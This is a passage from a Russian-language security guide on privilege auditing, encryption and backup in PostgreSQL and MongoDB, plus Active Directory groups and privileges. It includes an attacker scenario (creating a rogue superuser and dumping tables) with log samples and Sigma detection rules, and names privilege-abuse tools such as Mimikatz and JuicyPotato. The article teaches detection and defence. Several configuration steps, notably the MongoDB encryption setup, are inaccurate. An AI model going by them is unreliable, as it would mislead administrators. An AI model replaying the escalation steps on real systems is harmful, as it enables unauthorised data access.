\# whoami postgres \# psql -c "\\du postgres" List of roles Role name | Attributes | Member of \-----------------+--------------------------------------------------------------------------+-------------------- postgres | Superuser, Create role, Create DB, Replication, | {} | Bypass RLS |
Теперь проверим ту же информацию для обычного пользователя с именем appuser с помощью команды отображения `psql -c "\du appuser"`. Вывод подтверждает, что обычный пользователь appuser имеет те же повышенные привилегии, что и системный администратор пользователь postgres, так быть не должно:
\# whoami postgres \# psql -c "\\du appuser" List of roles Role name | Attributes | Member of \-----------------+---------------------------------------------------------------------------+-------------------- appuser | Superuser, Create role, Create DB, Replication, | {} | Bypass RLS |
Этот пример показывает, что одному пользователю были присвоены излишние административные права, однако в процессе аудита нужно провести полный анализ всех пользователей базы данных, чтобы убедиться, что у них нет избыточных прав. Это можно сделать с помощью следующих команд:
\# whoami postgres \# psql -c "\\du \*" \# psql -c "select \* from pg\_user order by usename"
Если каким-либо обычным пользователям были предоставлены избыточные права, их следует немедленно отозвать с помощью команды SQL `ALTER ROLE`. Используя тот же пример выше, следующие команды отзывают все ненужные повышенные права у обычного пользователя appuser:
\# whoami postgres \# psql -c "ALTER ROLE appuser NOSUPERUSER;" ALTER ROLE \# psql -c "ALTER ROLE appuser NOCREATEROLE;" ALTER ROLE \# psql -c "ALTER ROLE appuser NOCREATEDB;" ALTER ROLE \# psql -c "ALTER ROLE appuser NOREPLICATION;" ALTER ROLE \# psql -c "ALTER ROLE appuser NOBYPASSRLS;" ALTER ROLE \# psql -c "ALTER ROLE appuser NOINHERIT;" ALTER ROLE
После выполненных действий нужно проверить новые права у пользователя appuser:
\# whoami postgres \# psql -c "\\du appuser" List of roles Role name | Attributes | Member of \-----------------+-----------------+-------------------- appuser | | {}
## Роли и права пользователей в NoSQL базах В NoSQL базах данных, в отличие от реляционных, роли и права пользователей могут быть менее формализованными и разнообразными. Однако, в большинстве NoSQL СУБД все еще существуют концепции управления доступом. **Аутентификация и авторизация** — пользователи могут аутентифицироваться с помощью учетных данных (например, имя пользователя и пароль) или с использованием механизмов аутентификации на основе ключей. После успешной аутентификации пользователь авторизуется для доступа к данным в соответствии с их правами доступа. **Роли** — в NoSQL базах данных также существуют концепции ролей, которые могут группировать пользователей и предоставлять им схожие права доступа. Роли могут использоваться для упрощения управления правами доступа и обеспечения согласованности безопасности в системе. **Права доступа** — пользователи или роли могут быть наделены различными правами доступа к данным. Эти права могут включать операции чтения, записи, обновления, удаления и т. д. В зависимости от конкретной NoSQL базы данных, могут также поддерживаться различные уровни гранулярности прав доступа к отдельным объектам данных. ### Основные права доступа в MongoDB - **read**: позволяет пользователю выполнять операции чтения данных из коллекции. - **readWrite**: предоставляет пользователю права на выполнение операций чтения и записи данных в коллекцию. - **dbAdmin**: позволяет пользователю управлять базой данных, включая создание и удаление коллекций, просмотр статистики базы данных и т. д. - **dbOwner**: предоставляет пользователю полные права доступа ко всем объектам базы данных, включая управление пользователями и ролями. - **userAdmin**: позволяет пользователю управлять пользователями и ролями в базе данных, включая создание и удаление пользователей и ролей. - **clusterAdmin**: предоставляет пользователю права на управление кластером MongoDB, включая управление репликацией, шардингом и администрирование кластера. - **backup**: позволяет пользователю выполнять резервное копирование базы данных MongoDB. - **restore**: предоставляет пользователю права на восстановление данных из резервной копии базы данных MongoDB. - **backupAdmin**: позволяет пользователю управлять процессом резервного копирования базы данных MongoDB, включая управление точками сохранения и другими аспектами резервного копирования. Управление доступом на уровне коллекций/таблиц - во многих NoSQL базах данных можно настраивать права доступа на уровне отдельных коллекций (в MongoDB) или таблиц (в Cassandra). Это позволяет точечно контролировать доступ к конкретным наборам данных в базе данных. Управление доступом на уровне полей - некоторые NoSQL базы данных также поддерживают гранулярное управление доступом на уровне отдельных полей в документах (например, в MongoDB). ### **Пример создания пользователя в MongoDB** ``` ```javascript use mydatabase; // Создание пользователя с правами чтения и записи для определенной коллекции db.createUser({ user: "user1", pwd: "password1", roles: [ { role: "readWrite", db: "mydatabase" } ] }); // Создание пользователя с административными правами для базы данных db.createUser({ user: "adminUser", pwd: "adminPassword", roles: [ { role: "dbAdmin", db: "mydatabase" }, { role: "userAdmin", db: "mydatabase" } ] }); // Создание пользователя с правами на выполнение резервного копирования и восстановления db.createUser({ user: "backupUser", pwd: "backupPassword", roles: [ { role: "backup", db: "mydatabase" }, { role: "restore", db: "mydatabase" } ] }); ``` ``` События создания пользователей в журнале MongoDB mongod.log могут выглядеть следующим образом:
2024-03-28T12:34:56.789+0000 I ACCESS \[conn123\] Successfully added user: { "user" : "user1", "roles" : \[ { "role" : "readWrite", "db" : "mydatabase" } \] } 2024-03-28T12:34:56.790+0000 I ACCESS \[conn123\] Successfully added user: { "user" : "adminUser", "roles" : \[ { "role" : "dbAdmin", "db" : "mydatabase" }, { "role" : "userAdmin", "db" : "mydatabase" } \] } 2024-03-28T12:34:56.791+0000 I ACCESS \[conn123\] Successfully added user: { "user" : "backupUser", "roles" : \[ { "role" : "backup", "db" : "mydatabase" }, { "role" : "restore", "db" : "mydatabase" } \] }
Поля в логе: - Дата и время (2024-03-28T12:34:56.789+0000): Метка времени события. - Уровень журналирования (I ACCESS): Уровень важности сообщения. - Идентификатор соединения (\[conn123\]): Идентификатор соединения, в рамках которого была создана запись. - Сообщение (Successfully added user): Описание события. - Детали ({ "user" : "user1", "roles" : \[...\] }): Дополнительная информация о созданном пользователе, включая его имя пользователя (user) и назначенные ему роли (roles). - Эти записи в журнале сообщают об успешном создании пользователей и предоставлении им соответствующих прав доступа. # Использование шифрования ## Настройка шифрования в PostgreSQL В PostgreSQL шифрование данных можно настроить с использованием различных методов, таких как шифрование на уровне приложения, шифрование на уровне столбцов и шифрование на уровне хранения данных. Ниже представлен обзор этих методов: 1. **Шифрование на уровне приложения**: этот метод предполагает, что данные шифруются на стороне приложения перед тем, как они попадут в базу данных. Приложение самостоятельно обрабатывает шифрование и дешифрование данных перед сохранением их в базе данных или после извлечения из базы данных. Это обеспечивает контроль над процессом шифрования, но требует изменений в коде приложения. 2. **Шифрование на уровне столбцов**: PostgreSQL поддерживает шифрование данных на уровне столбцов с помощью модуля расширения pgcrypto. С использованием этого метода вы можете шифровать конкретные столбцы таблицы, оставляя остальные данные в открытом виде. Преимущество этого метода в том, что шифрование и дешифрование данных происходят автоматически на уровне базы данных, что делает его более удобным для применения. 3. **Шифрование на уровне хранения данных**: этот метод предполагает использование шифрования на уровне хранения данных, когда все данные в базе данных шифруются целиком. PostgreSQL поддерживает шифрование на уровне хранения данных с помощью различных инструментов, таких как Transparent Data Encryption (TDE), который может быть реализован с помощью сторонних расширений или управляемых служб. Для конфигурации шифрования на уровне столбцов в PostgreSQL с помощью pgcrypto можно использовать следующие шаги: 1\. Установите расширение pgcrypto: ``` ```SQL CREATE EXTENSION pgcrypto; ``` ``` 2\. Создайте таблицу с зашифрованными столбцами: ``` ```SQL CREATE TABLE my_table ( id SERIAL PRIMARY KEY, sensitive_data BYTEA ); -- Шифруйте данные перед вставкой в таблицу INSERT INTO my_table (sensitive_data) VALUES (pgp_sym_encrypt('my sensitive data', 'secret_key')); ``` ``` 3\. Дешифруйте данные при их извлечении из таблицы: ``` ```SQL -- Извлеките зашифрованные данные и дешифруйте их SELECT pgp_sym_decrypt(sensitive_data, 'secret_key') AS sensitive_data FROM my_table; ``` ``` Для работы с зашифрованными данными в базе данных пользователю обычно требуются следующие права доступа: **Доступ к зашифрованным данным**: пользователь должен иметь права на выполнение операций чтения, записи, обновления и удаления данных в зашифрованных таблицах или столбцах. Это обеспечивает пользователю возможность взаимодействовать с данными в базе данных, независимо от их шифрования ``` ```sql GRANT SELECT, INSERT, UPDATE, DELETE ON TABLE encrypted_table TO user_name; ``` ``` **Доступ к ключам шифрования**: в некоторых случаях пользователю может потребоваться доступ к ключам шифрования, если он выполняет операции, которые требуют расшифровки данных. Однако доступ к ключам шифрования обычно ограничивается только администраторам базы данных или другим уполномоченным лицам, чтобы предотвратить несанкционированный доступ к ключам. ``` ```sql GRANT EXECUTE ON FUNCTION encrypt_function(text) TO user_name; GRANT EXECUTE ON FUNCTION decrypt_function(text) TO user_name; ``` ``` **Доступ к функциям и процедурам**: если в базе данных используются функции или процедуры для работы с зашифрованными данными (например, для шифрования или расшифровки), пользователю может потребоваться доступ к этим функциям или процедурам. ``` ```sql GRANT EXECUTE ON FUNCTION encryption_function(parameters) TO user_name; ``` ``` **Доступ к управлению ключами шифрования (необязательно)**: в некоторых случаях пользователь может быть уполномочен на управление ключами шифрования или их генерацию. Это может потребоваться, например, при создании новых зашифрованных столбцов или при установке новых ключей шифрования. ``` ```sql GRANT CREATE ON SCHEMA encryption_schema TO user_name; ``` ``` ## Настройка шифрования в MongoDB Для настройки шифрования данных в MongoDB вам необходимо выполнить ряд шагов, включая создание ключей шифрования, настройку ключевого провайдера, включение шифрования данных и настройку транспортного шифрования. 1. **Создание ключей шифрования**: Пример создания ключей шифрования с использованием `mongocryptd`: ``` ```css mongocryptd --fork --dbpath /var/lib/mongocryptd ``` ``` 2. **Настройка ключевого провайдера**: ``` ```x86asm mongosh use admin db.createCollection("keys") db.keys.insertOne({ "key": "" }) ``` ``` 3. **Включение шифрования данных**: Включение шифрования данных при запуске сервера MongoDB: ``` ```css mongod --enableEncryption --encryptionKeyFile /path/to/encryption.key ``` ``` 4. **Включение транспортного шифрования**: Пример настройки SSL/TLS для транспортного шифрования: ```objectivec net: ssl: mode: "requireSSL" PEMKeyFile: "/path/to/server.pem" CAFile: "/path/to/ca.pem" ``` # Резервное копирование ## Резервное копирование в PostgreSQL Для настройки резервного копирования в PostgreSQL вы можете использовать инструменты резервного копирования, такие как `pg_dump` и `pg_dumpall`, а также встроенную функциональность PostgreSQL для создания резервных копий и восстановления данных. Ниже шаги, которые обычно выполняются для настройки резервного копирования: 1. **Использование pg\_dump для создания резервной копии базы данных:** - Используйте команду `pg_dump` для создания текстовых файлов SQL, содержащих структуру базы данных и данные. - Пример команды для создания резервной копии базы данных: ``` ```nginx pg_dump -U username dbname > backup.sql ``` ``` 2. **Использование pg\_dumpall для создания резервной копии всех баз данных:** - Команда `pg_dumpall` позволяет создавать резервные копии всех баз данных, доступных для указанного пользователя. - Пример команды для создания резервной копии всех баз данных: ``` ```nginx pg_dumpall -U username > backup.sql ``` ``` ## Резервное копирование в MongoDB Для настройки резервного копирования в MongoDB можно использовать инструменты резервного копирования, такие как `mongodump`, а также сторонние инструменты управления резервными копиями, например, MongoDB Atlas Backup или другие инструменты для автоматизации и управления резервным копированием. Ниже настройка резервного копирования в MongoDB с использованием `mongodump`: 1. **Использование mongodump для создания резервных копий:** - Пример команды для создания резервной копии всех баз данных MongoDB: ``` ```css mongodump --host --port --username --password --out ``` ``` Эта команда использует подключение к MongoDB с указанными параметрами (хост, порт, имя пользователя, пароль) и сохраняет резервную копию в указанном каталоге. Общие рекомендации: 1. **Автоматизация резервного копирования:** - Для регулярного создания резервных копий вы можете использовать утилиты планировщика задач, такие как cron в UNIX-подобных системах или Task Scheduler в Windows. - Создайте скрипт, который будет выполнять команду резервного копирования с необходимыми параметрами, а затем настройте его выполнение по расписанию с помощью утилиты планировщика задач. 2. **Хранение резервных копий:** - Убедитесь, что резервные копии хранятся в безопасном месте, доступном только авторизованным пользователям. - Рассмотрите возможность хранения резервных копий в облачном хранилище или на отдельном сервере с репликацией данных для обеспечения долгосрочного хранения и защиты от потери данных. 3. **Тестирование восстановления:** - Регулярно проверяйте процесс восстановления данных из резервной копии, чтобы убедиться, что он работает правильно, и данные могут быть восстановлены в случае чрезвычайной ситуации. # Сценарий атаки ## На примере PostgreSQL Рассмотрим сценарий, при котором злоумышленник уже имеет доступ к учетной записи с правом `CREATE ROLE` . Пользователь с правом `CREATE ROLE` в PostgreSQL может создать другого пользователя и назначить ему права на редактирование/удаление/просмотр всех таблиц в базе данных. 1. **Создание нового пользователя:** Пользователь с правом `CREATE ROLE` может создать нового пользователя с помощью команды `CREATE ROLE` и назначить ему необходимые права доступа. ``` ```sql CREATE ROLE coolhecker LOGIN PASSWORD 'password'; ``` ``` 2. **Назначение прав доступа:** чтобы дать новой учетной записи права на редактирование таблиц в БД, ему можно дать роль `SUPERUSER` ``` ```sql ALTER ROLE coolhecker WITH SUPERUSER; ``` ``` Или можно назначить отдельные привилегии для пользователя, указав необходимые права доступа, например: ``` ```sql GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO coolhecker; ``` ``` Этот запрос предоставит пользователю `coolhecker` права на просмотр, вставку, обновление и удаление данных из всех таблиц в схеме `public`. Как это будет видно в логе:
2024-03-29 12:00:00.123 UTC \[23345\] LOG: statement: CREATE ROLE coolhecker LOGIN PASSWORD 'ehehehehe'; 2024-03-29 12:00:01.234 UTC \[23345\] LOG: statement: ALTER ROLE coolhecker WITH SUPERUSER;
В первой записи выполняется команда `CREATE ROLE`, создающая нового пользователя с именем coolhecker и паролем ehehehehe. Во второй записи выполняется команда `ALTER ROLE`, назначающая пользователю coolhecker права SUPERUSER. Важно! Для того чтобы увидеть эти записи в логе, необходимо настроить журналирование в соответствии с требуемым уровнем детализации и включить запись административных действий в лог. Уже на этом этапе злоумышленника можно остановить, если вовремя среагировать на событие создания пользователя с ролью superuser. Как может выглядеть правило sigma для обнаружения такого события: ``` ```yaml title: Обнаружение создания суперпользователя в PostgreSQL id: postgresql_create_superuser status: experimental description: Обнаружение операции создания пользователя с ролью суперпользователя в PostgreSQL. author: [Your Name] date: 2024-03-31 logsource: product: postgresql detection: selection: crosstheme1.username: ["!~^(?:postgres)$"] # Исключаем создание роли "postgres" crosstheme1.statement: ["CREATE ROLE%", "%SUPERUSER%"] condition: selection fields: - username - statement falsepositives: - Легитимные операции создания пользователей с правами суперпользователя, произведенные администраторами. level: high ``` ``` Предположим, что злоумышленника никто не остановил и он идет дальше. Какие операции он может выполнить: **Зайти в БД под созданной учетной записью** В логе такое событие будет выглядеть так:
2024-03-31 10:15:00.123 UTC \[23345\] LOG: connection authorized: user=coolhecker database=my\_database
**Вывод перечня таблиц в базе данных** ``` ```sql SELECT table_name FROM information_schema.tables WHERE table_schema = 'public'; ``` ``` Этот запрос выбирает все имена таблиц из схемы `public` в базе данных. Как это будет выглядеть в логе:
2024-03-31 10:15:00.123 UTC \[23345\] LOG: statement: SELECT table\_name FROM information\_schema.tables WHERE table\_schema = 'public';
**Вывод названий столбцов для одной из таблиц** Допустим, у нас есть таблица `users`, и злоумышленник хочет увидеть названия ее столбцов. ``` ```sql SELECT column_name FROM information_schema.columns WHERE table_schema = 'public' AND table_name = 'users'; ``` ``` Этот запрос выбирает все имена столбцов для таблицы `users` из схемы `public` в базе данных. Как это будет выглядеть в логе:
2024-03-31 10:16:00.234 UTC \[23346\] LOG: statement: SELECT column\_name FROM information\_schema.columns WHERE table\_schema = 'public' AND table\_name = 'users';
**Выполнить очень широкий запрос** ``` ```css SELECT * FROM users; ``` ``` Как это будет выглядеть в логе:
2024-03-31 10:16:00.234 UTC \[23346\] LOG: statement: SELECT \* FROM my\_table;
Пример правила Sigma, которое обнаруживает 2 последовательных события: авторизацию пользователя в базе и выполнение широкого запроса: ``` ```yaml title: Обнаружение последовательности аутентификации и выполнения запроса SELECT * FROM в PostgreSQL id: postgresql_login_followed_by_select status: experimental description: Обнаружение события, когда пользователь авторизуется в базе данных, а затем выполняет запрос SELECT * FROM. author: [Your Name] date: 2024-04-01 references: - https://example.com/postgresql-logging-docs logsource: product: postgresql detection: selection1: crosstheme1.event: "connection authorized" selection2: crosstheme1.statement: "SELECT * FROM" timeframe: 1m # Временное окно для обнаружения двух последовательных событий (1 минута) condition: selection1 and selection2 fields: - user - event - statement falsepositives: - Легитимные операции, произведенные аутентифицированными пользователями. level: high ``` ``` ## Пример в MongoDB Рассмотрим аналогичный пример для MongoDB. Злоумышленник создает учетную запись с широкими правами: ``` ```javascript use admin db.createUser({ user: "adminUser", pwd: "adminPassword", roles: [ { role: "root", db: "admin" }, { role: "readWriteAnyDatabase", db: "admin" }, { role: "dbAdminAnyDatabase", db: "admin" }, { role: "userAdminAnyDatabase", db: "admin" } ] }) ``` ``` - root: Дает полный административный доступ ко всей системе MongoDB. - readWriteAnyDatabase: Позволяет читать и записывать данные в любую базу данных. - dbAdminAnyDatabase: Позволяет управлять базами данных на уровне администратора. - userAdminAnyDatabase: Позволяет управлять пользователями и их правами на уровне администратора. Пример правила Sigma, которое будет обнаруживать такое событие: ``` ```yaml title: Обнаружение создания пользователя с широкими правами в MongoDB id: mongodb_create_user_with_wide_privileges status: experimental description: Обнаружение события, когда создается пользователь с широкими правами в MongoDB. author: [Your Name] date: 2024-04-02 logsource: product: mongodb detection: selection: crosstheme1.operation: CREATE_USER crosstheme1.roles: ["root", "readWriteAnyDatabase", "dbAdminAnyDatabase", "userAdminAnyDatabase"] condition: selection fields: - user - roles falsepositives: - Легитимные операции создания пользователей с широкими правами, произведенные администраторами. level: high ``` ``` Допустим, злоумышленник решил выбрать все возможные данные из БД. В логе это будет выглядеть так:
2024-04-02T12:34:56.789+0000 I COMMAND \[conn1234\] command my\_database.my\_collection command: find { find: "my\_collection", filter: {}, $db: "my\_database" } planSummary: COLLSCAN keysExamined:0 docsExamined:10000 cursorExhausted:1 numYields:78 nreturned:10000 reslen:2687313 locks:{ Global: { acquireCount: { r: 158 } }, Database: { acquireCount: { r: 79 } }, Collection: { acquireCount: { r: 79 } } } protocol:op\_msg 33ms
- `2024-04-02T12:34:56.789+0000` - дата и время события. - `I COMMAND` - тип команды (в данном случае, команда). - `[conn1234]` - идентификатор соединения. - `command my_database.my_collection` - команда, которая была выполнена (в данном случае, поиск документов в коллекции `my_collection` базы данных `my_database`). - `keysExamined:0` - количество ключей, проанализированных при выполнении запроса (в данном случае, 0). - `docsExamined:10000` - количество документов, просмотренных при выполнении запроса (в данном случае, 10000). - `cursorExhausted:1` - флаг, указывающий, что курсор исчерпан. - `numYields:78` - количество раз, когда сервер передал управление другим операциям (yielded). - `nreturned:10000` - количество документов, возвращенных в результате запроса (в данном случае, 10000). - `reslen:2687313` - размер ответа в байтах. - `locks` - информация о блокировках, используемых запросом. - `protocol:op_msg` - протокол, используемый для передачи сообщений (в данном случае, op\_msg). - `33ms` - время выполнения запроса (в данном случае, 33 миллисекунды). Пример правила Sigma, которое будет обнаруживать такое событие: ``` ```yaml title: Обнаружение выбора всех данных из базы данных MongoDB id: mongodb_select_all_data status: experimental description: Обнаружение события, когда пользователь выбирает все данные из базы данных MongoDB. author: [Your Name] date: 2024-04-03 logsource: product: mongodb detection: selection: crosstheme1.command: "find" crosstheme1.docsExamined: { ">": 0 } crosstheme1.nreturned: { ">": 0 } crosstheme1.keysExamined: 0 crosstheme1.cursorExhausted: 1 condition: selection fields: - user - database - collection - command falsepositives: - Легитимные запросы, которые выбирают все данные из базы данных MongoDB. level: high ``` ``` - `title`: Название правила. - `id`: Уникальный идентификатор правила. - `status`: Статус правила (например, "экспериментальный"). - `description`: Описание того, что делает правило. - `author`: Ваше имя или имя автора правила. - `date`: Дата создания правила. - `logsource`: Источник журналов, в данном случае - продукт `mongodb`. - `detection`: Определение, которое указывает, как обнаружить событие. Мы используем выборку по нескольким полям, таким как `command` (команда), `docsExamined` (количество документов, просмотренных при выполнении запроса), `nreturned` (количество возвращенных документов), `keysExamined` (количество ключей, проанализированных при выполнении запроса) и `cursorExhausted` (флаг, указывающий, что курсор исчерпан). - `condition`: Условие, которое определяет, что событие соответствует правилу. - `fields`: Поля, которые будут отображены в результате обнаружения. - `falsepositives`: Возможные ситуации, которые могут быть ложноположительными. - `level`: Уровень серьезности обнаружения (например, "высокий"). # Группы и GPO ## Права и Привилегии в Active Directory Права обычно назначаются пользователям или группам и касаются разрешений на доступ к объекту, такому как файл, в то время как привилегии предоставляют пользователю разрешение выполнять действие, такое как запуск программы, выключение системы, сброс паролей и т.д. Привилегии могут быть назначены индивидуально пользователям или предоставлены им через членство во встроенных или пользовательских группах. У Windows есть концепция, называемая Назначением Прав Пользователю, которая, хотя и называется правами, фактически представляет собой виды привилегий, предоставляемых пользователю. ### Встроенные группы в Active Directory AD содержит множество групп безопасности по умолчанию или встроенных групп, некоторые из которых предоставляют своим членам мощные права и привилегии, которые могут быть использованы злоумышленниками для повышения привилегий в пределах домена и, в конечном итоге, получения привилегий Domain Admin или SYSTEM на контроллере домена. Ниже приведены некоторые из наиболее распространенных встроенных групп:
Название группыОписание
Account OperatorsЧлены могут создавать и изменять большинство типов учетных записей, включая пользователей, локальные группы и глобальные группы, и могут входить локально на контроллеры домена. Не могут управлять учетной записью администратора и другими группами.
AdministratorsЧлены имеют полный и неограниченный доступ к компьютеру или всему домену, если они являются членами этой группы на контроллере домена.
Backup OperatorsЧлены могут резервировать и восстанавливать все файлы на компьютере, независимо от установленных на них разрешений. Могут также входить в систему и выключать компьютер.
DnsAdminsЧлены имеют доступ к сетевой информации DNS. Группа создается только при наличии или ранее установленной роли сервера DNS на контроллере домена.
Domain AdminsЧлены имеют полный доступ к администрированию домена и являются членами группы локальных администраторов на всех компьютерах, присоединенных к домену.
Domain ComputersВсе компьютеры, созданные в домене (за исключением контроллеров домена), добавляются в эту группу.
Domain ControllersСодержит все контроллеры домена в домене. Новые контроллеры домена автоматически добавляются в эту группу.
Domain GuestsВключает в себя встроенную учетную запись Guest домена. Члены этой группы имеют профиль домена, созданный при входе на компьютер, присоединенный к домену, в качестве локального гостя.
Domain UsersСодержит все учетные записи пользователей в домене. Новая учетная запись пользователя в домене автоматически добавляется в эту группу.
Enterprise AdminsЧленство в этой группе предоставляет полный доступ к конфигурации домена. Группа существует только в корневом домене леса AD. Члены группы имеют возможность вносить изменения, касающиеся всего леса.
Event Log ReadersЧлены могут читать журналы событий на локальных компьютерах. Группа создается только при повышении уровня хоста до контроллера домена.
Group Policy Creator OwnersЧлены создают, редактируют или удаляют объекты групповой политики в домене.
Hyper-V AdministratorsЧлены имеют полный и неограниченный доступ ко всем функциям Hyper-V. Если в домене есть виртуальные контроллеры домена, любые администраторы виртуализации, такие как члены Hyper-V Administrators, должны рассматриваться как Domain Admins.
IIS\_IUSRSЭто встроенная группа, используемая службой Internet Information Services (IIS) начиная с версии IIS 7.0.
Pre–Windows 2000 Compatible AccessГруппа существует для обеспечения обратной совместимости с компьютерами, работающими под управлением Windows NT 4.0 и более ранних версий. Членство в этой группе часто представляет собой остаточную легаси-конфигурацию.
Print OperatorsЧлены могут управлять, создавать, делиться и удалять принтеры, подключенные к контроллерам домена, а также любые объекты принтеров в AD. Могут входить локально на контроллеры домена и использоваться для загрузки вредоносного драйвера принтера и повышения привилегий в домене.
Protected UsersЧлены этой группы обеспечиваются дополнительной защитой от кражи учетных данных и тактик, таких как злоупотребление Kerberos.
Read-only Domain ControllersСодержит все контроллеры домена с привилегиями только для чтения в домене.
Remote Desktop UsersЭта группа используется для предоставления пользователям и группам разрешения на подключение к хосту через удаленный рабочий стол (RDP). Эту группу нельзя переименовать, удалить или переместить.
Remote Management UsersЭта группа может использоваться для предоставления пользователям удаленного доступа к компьютерам через Windows Remote Management (WinRM).
Schema AdminsЧлены могут модифицировать схему Active Directory, которая определяет все объекты в AD. Группа существует только в корневом домене леса AD. Администратор корневого домена леса является единственным членом этой группы по умолчанию.
Server OperatorsЭта группа существует только на контроллерах домена. Члены могут изменять службы, получать доступ к SMB-ресурсам и выполнять резервное копирование файлов на контроллерах домена. По умолчанию в этой группе нет членов.
### Назначение прав пользователю В зависимости от групп, в которых они состоят, и других факторов, таких как привилегии, назначаемые администраторами через Политику Группы (GPO), у пользователей могут быть разные права на свои учетные записи. В статье Microsoft о Назначении Прав Пользователю предоставляется подробное объяснение каждого права, которое может быть установлено в Windows. Некоторые могут привести к непреднамеренным последствиям, таким как повышение привилегий или доступ к чувствительным файлам. Допустим, мы получаем права на запись в объект Групповой политики (GPO), примененной к подразделению (OU) с одним или несколькими пользователями, которыми мы управляем. В этом случае мы можем использовать инструменты, такие как SharpGPOAbuse, чтобы назначить целевые права пользователю. Таким образом, мы можем расширить свой доступ в домен, выполняя различные действия с этими новыми правами. Например:
ПривилегияОписание
SeRemoteInteractiveLogonRightМожет предоставить целевой учетной записи право входа на хост через удаленный рабочий стол (RDP), что потенциально может быть использовано для получения чувствительных данных или повышения привилегий
SeBackupPrivilegeПредоставляет пользователю возможность создавать резервные копии системы и может быть использована для получения копий чувствительных системных файлов, которые могут быть использованы для извлечения паролей, таких как файлы реестра SAM и SYSTEM и файл базы данных Active Directory NTDS.dit.
SeDebugPrivilegeПозволяет пользователю отлаживать и настраивать память процесса. С этой привилегией атакующие могут использовать инструменты, такие как Mimikatz, для чтения области памяти процесса Local System Authority (LSASS) и получения любых учетных данных, хранящихся в памяти.
SeImpersonatePrivilegeПозволяет поддельно представлять токен привилегированной учетной записи, такой как NT AUTHORITY\\SYSTEM. Это может быть использовано с инструментами, такими как JuicyPotato, RogueWinRM, PrintSpoofer и др. для повышения привилегий на целевой системе.
SeLoadDriverPrivilegeПользователь с этой привилегией может загружать и выгружать драйверы устройств, которые могут быть использованы для повышения привилегий или компрометации системы.
SeTakeOwnershipPrivilegeПозволяет процессу завладеть объектом. На самом простом уровне мы можем использовать эту привилегию, чтобы получить доступ к общей папке или файлу на общей папке, к которым у нас иначе не было бы доступа.
## Просмотр привилегий пользователя После входа на хост, введение команды `whoami /priv` предоставит нам список всех назначенных пользовательских прав. Некоторые права доступны только для административных пользователей и могут быть перечислены/использованы только при выполнении повышенной сессии CMD или PowerShell. Понятия повышенных прав и Контроля учетных записей пользователя (User Account Control, UAC) являются функциями безопасности, введенными в Windows Vista, которые по умолчанию ограничивают приложения в выполнении с полными разрешениями, если это абсолютно необходимо. Если мы сравним и контрастируем права, доступные нам в качестве администратора в консоли без повышения привилегий и в консоли с повышенными привилегиями, мы увидим, что они существенно отличаются. # Групповые политики **Group Policy** (Групповая политика) — это функция Windows, предоставляющая администраторам широкий набор настроек, которые могут применяться как к учетным записям пользователей, так и к компьютерам в среде Windows. У каждого хоста Windows есть редактор локальной групповой политики для управления локальными настройками. С точки зрения безопасности использование групповых политик — это один из лучших способов влияния на уровень безопасности организации. Active Directory, безусловно, не обладает достаточной безопасностью "из коробки", и групповые политики являются ключевой частью стратегии защиты. ### Объекты групповой политики (GPO) Объект групповой политики (Group Policy Objects) — это виртуальная коллекция параметров политики, которые можно применять к пользователям или компьютерам. GPO включают в себя такие политики, как тайм-аут блокировки экрана, отключение USB-портов, применение политики паролей собственного домена, установку программного обеспечения, управление приложениями, настройку параметров удаленного доступа и многое другое. Каждый объект групповой политики имеет уникальное имя и уникальный идентификатор (GUID). Их можно связать с конкретным доменом или сайтом. Один объект групповой политики может быть связан с несколькими контейнерами, и к любому контейнеру может быть применено несколько объектов групповой политики. Их можно применять к отдельным пользователям, хостам или группам путем применения непосредственно к подразделению. Каждый объект групповой политики содержит один или несколько параметров групповой политики, которые могут применяться на уровне локального компьютера или в контексте Active Directory. ### Примеры объектов групповой политики Вот некоторые примеры того, что мы можем сделать с объектами групповой политики: - Установка различных политик паролей для учетных записей служб, учетных записей администратора и обычных учетных записей пользователей с использованием отдельных объектов групповой политики. - Запрет на использование съемных носителей (например, USB-устройств) - Включение защиты заставки с помощью пароля - Ограничение доступа к приложениям, которые могут не понадобиться обычному пользователю, например cmd.exe и PowerShell. - Обеспечение соблюдения политик аудита и ведения журналов - Блокировка пользователям запуска определенных типов программ и скриптов - Развертывание программного обеспечения в домене - Блокировка установки не одобренного программного обеспечения - Отображение баннера входа в систему каждый раз, когда пользователь входит в систему - Запрет использования LM-хеша в домене - Запуск сценариев при запуске/выключении компьютеров или когда пользователь входит в систему или выходит из нее. Давайте возьмем в качестве примера реализацию Active Directory в Windows Server 2008 по умолчанию, сложность пароля применяется по умолчанию. Требования к сложности пароля следующие: - Пароли должны быть длиной не менее 7 символов. - Пароли должны содержать символы как минимум трех из следующих четырех категорий: 1. Символы верхнего регистра (A-Z) 2. Символы нижнего регистра (a-z) 3. Числа (0-9) 4. Специальные символы (например, !@#$%^&\*()\_+|~-=`{}\[\]:";'<>?,./) Это всего лишь несколько примеров того, что можно сделать с помощью групповой политики. В объекте групповой политики можно применять сотни настроек, которые могут быть очень детализированными. Например, ниже приведены некоторые параметры, которые мы можем установить для сеансов удаленного рабочего стола: ![](https://ucarecdn.com/e2acacdd-595b-4aa6-b3e2-0943b4342122/) Настройки объекта групповой политики обрабатываются с использованием иерархической структуры AD и применяются с использованием правила порядка старшинства, как показано в таблице ниже:
УровеньОписание
Local Group PolicyПолитики определяются непосредственно на хосте локально за пределами домена. Любая настройка здесь будет перезаписана, если аналогичная настройка определена на более высоком уровне.
Site PolicyЛюбые политики, специфичные для физической локации, в которой находится хост. Организации могут охватывать большие кампусы и даже страны, поэтому само собой разумеется, что у локации могут быть свои собственные политики, которые могут отличаться от остальной части организации (например, для центрального офиса и филиалов).
Domain-wide PolicyЛюбые настройки, которые применяются ко всему домену в целом. Например, установка уровня сложности политики паролей, настройка фона рабочего стола для всех пользователей и установка баннера «Уведомление об использовании и согласие на мониторинг» на экране входа в систему.
Organisational Unit (Подразделение, OU) Эти параметры будут влиять на пользователей и компьютеры, принадлежащие определенным подразделениям. Например, доступ к определенному общему диску, доступ к которому может получить только отдел кадров, доступ к определенным ресурсам, таким как принтеры, или возможность ИТ-администраторам использовать PowerShell и командную строку.
Любые политики подразделения (OU), вложенные в другие подразделения (OU)Включают в себя специальные разрешения для объектов внутри вложенных подразделений. Например, предоставление аналитикам безопасности определенного набора параметров политики Applocker, которые отличаются от стандартных параметров IT Applocker.
